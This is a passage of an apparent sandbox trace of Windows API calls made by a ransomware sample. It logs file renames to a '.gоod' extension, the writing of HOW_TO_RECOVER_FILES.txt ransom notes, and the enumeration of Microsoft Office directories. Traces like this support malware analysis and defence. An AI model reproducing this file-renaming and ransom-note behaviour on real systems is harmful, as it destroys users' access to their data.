"c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\versions\\framework-dev.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\versions\\framework-dev.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\versions\\framework-dev.js.gоod")) returned 1 [0204.754] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\versions\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffed5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\versions\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x78 [0204.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffedad0) returned 1 [0204.755] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\versions\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\versions\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x474 [0205.161] GetFileType (hFile=0x474) returned 0x1 [0205.161] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeda40) returned 1 [0205.161] GetFileType (hFile=0x474) returned 0x1 [0206.351] WriteFile (in: hFile=0x474, lpBuffer=0x36ad7d0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffedb98, lpOverlapped=0x0 | out: lpBuffer=0x36ad7d0*, lpNumberOfBytesWritten=0x1ffedb98*=0x5d0, lpOverlapped=0x0) returned 1 [0207.568] CloseHandle (hObject=0x474) returned 1 Thread: id = 192 os_tid = 0xfbc [0124.422] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0124.422] CoGetContextToken (in: pToken=0x200eedd0 | out: pToken=0x200eedd0) returned 0x0 [0124.422] IUnknown:QueryInterface (in: This=0x12e64d0, riid=0x7ff9122eadf8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x200eee08 | out: ppvObject=0x200eee08*=0x12e64e8) returned 0x0 [0124.423] IComThreadingInfo:GetCurrentThreadType (in: This=0x12e64e8, pThreadType=0x200eee78 | out: pThreadType=0x200eee78*=0) returned 0x0 [0124.423] IUnknown:Release (This=0x12e64e8) returned 0x0 [0124.423] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0124.423] CoUninitialize () [0124.423] RoInitialize () returned 0x1 [0124.423] RoUninitialize () returned 0x0 [0125.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200edf40) returned 1 [0125.613] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root", nBufferLength=0x105, lpBuffer=0x200ed9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root", lpFilePart=0x0) returned 0x26 [0125.613] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\*", lpFindFileData=0x200edc60 | out: lpFindFileData=0x200edc60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0125.614] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200edc20 | out: lpFindFileData=0x200edc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.614] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200edc20 | out: lpFindFileData=0x200edc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2ca2e08, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="client", cAlternateFileName="")) returned 1 [0125.614] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200edc20 | out: lpFindFileData=0x200edc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0125.614] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200edc20 | out: lpFindFileData=0x200edc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Themes 16", cAlternateFileName="DOCUME~1")) returned 1 [0125.614] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200edc20 | out: lpFindFileData=0x200edc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114f5747, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flattener", cAlternateFileName="FLATTE~1")) returned 1 [0125.614] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200edc20 | out: lpFindFileData=0x200edc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fre", cAlternateFileName="")) returned 1 [0125.615] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200edc20 | out: lpFindFileData=0x200edc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2abe77, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1 [0125.649] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200edc20 | out: lpFindFileData=0x200edc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2687c83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee308135, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Licenses16", cAlternateFileName="LICENS~1")) returned 1 [0125.649] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200edc20 | out: lpFindFileData=0x200edc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x983c2c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="loc", cAlternateFileName="")) returned 1 [0125.649] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200edc20 | out: lpFindFileData=0x200edc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mcxml", cAlternateFileName="")) returned 1 [0125.649] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200edc20 | out: lpFindFileData=0x200edc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office16", cAlternateFileName="")) returned 1 [0125.650] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200edc20 | out: lpFindFileData=0x200edc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b1a0d3d, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rsod", cAlternateFileName="")) returned 1 [0125.650] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200edc20 | out: lpFindFileData=0x200edc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb48c20e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb48c20e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0125.650] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200edc20 | out: lpFindFileData=0x200edc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0125.650] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200edc20 | out: lpFindFileData=0x200edc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VFS", cAlternateFileName="")) returned 1 [0125.650] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200edc20 | out: lpFindFileData=0x200edc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VFS", cAlternateFileName="")) returned 0 [0125.650] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0125.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ede80) returned 1 [0125.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ede40) returned 1 [0125.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200edf40) returned 1 [0125.651] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root", nBufferLength=0x105, lpBuffer=0x200ed9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root", lpFilePart=0x0) returned 0x26 [0125.651] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\*", lpFindFileData=0x200edc60 | out: lpFindFileData=0x200edc60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0125.651] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200edc20 | out: lpFindFileData=0x200edc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.651] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200edc20 | out: lpFindFileData=0x200edc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2ca2e08, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="client", cAlternateFileName="")) returned 1 [0125.651] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200edc20 | out: lpFindFileData=0x200edc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0125.651] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200edc20 | out: lpFindFileData=0x200edc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Themes 16", cAlternateFileName="DOCUME~1")) returned 1 [0125.651] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200edc20 | out: lpFindFileData=0x200edc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114f5747, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flattener", cAlternateFileName="FLATTE~1")) returned 1 [0125.652] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200edc20 | out: lpFindFileData=0x200edc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fre", cAlternateFileName="")) returned 1 [0125.652] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200edc20 | out: lpFindFileData=0x200edc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2abe77, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1 [0125.652] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200edc20 | out: lpFindFileData=0x200edc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2687c83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee308135, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Licenses16", cAlternateFileName="LICENS~1")) returned 1 [0125.652] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200edc20 | out: lpFindFileData=0x200edc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x983c2c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="loc", cAlternateFileName="")) returned 1 [0125.652] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200edc20 | out: lpFindFileData=0x200edc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mcxml", cAlternateFileName="")) returned 1 [0125.652] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200edc20 | out: lpFindFileData=0x200edc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office16", cAlternateFileName="")) returned 1 [0125.652] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200edc20 | out: lpFindFileData=0x200edc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b1a0d3d, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rsod", cAlternateFileName="")) returned 1 [0125.652] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200edc20 | out: lpFindFileData=0x200edc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb48c20e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb48c20e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0125.652] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200edc20 | out: lpFindFileData=0x200edc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0125.653] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200edc20 | out: lpFindFileData=0x200edc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VFS", cAlternateFileName="")) returned 1 [0125.653] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200edc20 | out: lpFindFileData=0x200edc20*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0125.653] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0125.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ede80) returned 1 [0125.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ede40) returned 1 [0125.653] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed510) returned 1 [0125.653] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client", nBufferLength=0x105, lpBuffer=0x200ecfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client", lpFilePart=0x0) returned 0x2d [0125.653] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\*", lpFindFileData=0x200ed230 | out: lpFindFileData=0x200ed230*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2ca2e08, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0125.654] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2ca2e08, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.655] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0715cb9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0715cb9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0952017, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="API-MS~1.DLL")) returned 1 [0125.656] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0952017, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0952017, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0a832cb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="API-MS~3.DLL")) returned 1 [0125.656] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd089348e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd089348e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd09c4608, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1 [0125.656] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd115de42, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd115de42, ftLastAccessTime.dwHighDateTime=0x1d327e7, 